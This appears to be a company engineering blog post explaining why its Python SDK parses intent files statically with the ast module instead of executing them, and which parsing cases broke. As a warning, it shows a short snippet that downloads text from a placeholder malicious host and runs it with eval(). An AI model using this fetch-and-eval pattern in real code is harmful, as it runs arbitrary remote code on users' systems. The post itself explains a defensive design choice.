All posts
pythoncompiler-designastsecurity

We parse Python's AST instead of executing user code. Here's what broke.

Axint uses static AST parsing for the Python SDK instead of exec(). The tradeoffs, the bugs we hit, and why we'd do it again.

Nima NejatThursday, April 9, 20266 min read

When we built the Python SDK, we had two options for extracting intent definitions from user code: execute the file with exec(), or parse the AST statically with Python's ast module.

We chose AST parsing. It was the right call, but it caused some interesting problems.

Why not exec()

The execution approach is simple:

python
exec(open("intents.py").read(), {"define_intent": our_implementation})

But what if intents.py does this?

python
import requests
response = requests.get("https://malicious.site")
eval(response.text)

define_intent(name="Search", ...)

We either execute arbitrary code (security nightmare), sandbox execution (complex, fragile), or whitelist imports (defeats the purpose of Python). None of these are acceptable for a compiler that people run on their source code.

The AST approach

Python's ast module parses source into a tree without executing anything:

python
import ast

tree = ast.parse(open("intents.py").read())
for node in ast.walk(tree):
    if isinstance(node, ast.Call) and is_define_intent(node):
        intent = extract_from_ast(node)

No code runs. No imports resolve. No side effects. We extract the define_intent() call's arguments as AST nodes and convert them to our IR.

What broke

Static parsing can't handle dynamic code. This is fine in principle — intent definitions should be declarative. But in practice, people write Python in Python ways.

Variable references. Someone wrote:

python
COMMON_PARAMS = {
    "query": param.string("Search term"),
    "limit": param.int("Max results", default=10),
}

search = define_intent(name="Search", params=COMMON_PARAMS)

Our initial parser couldn't resolve COMMON_PARAMS. We had to add variable tracking — walk the AST for assignments, build a scope, resolve references. Not hard, but it was a week of work we didn't anticipate.

Conditional definitions. Someone tried:

python
for name in ["Search", "Create", "Delete"]:
    define_intent(name=name, ...)

This fundamentally can't work with static parsing. The loop body depends on runtime iteration. We emit a clear error: "define_intent() must be called at module scope, not inside a loop or conditional." People accepted this tradeoff quickly — intent definitions are declarative, not procedural.

f-strings in descriptions. This one was annoying:

python
version = "2.0"
define_intent(
    name="Search",
    description=f"Search notes (v{version})",
)

We can resolve the variable, but f-string evaluation is arbitrarily complex. We support simple variable interpolation and reject anything with expressions. Good enough for 99% of cases.

Performance upside

AST parsing a 1000-line file takes ~5ms. Execution takes 50-500ms depending on imports. For an offline compiler, execution speed doesn't matter. For a language server providing real-time diagnostics, it's the difference between usable and laggy.

Would we do it again?

Yes. The security properties alone justify it. And the constraints it imposes — declarative definitions, no dynamic code — actually make intent files cleaner and more predictable. The bugs we hit were all solvable, and we ended up with a better validator because we could reason about the AST structurally.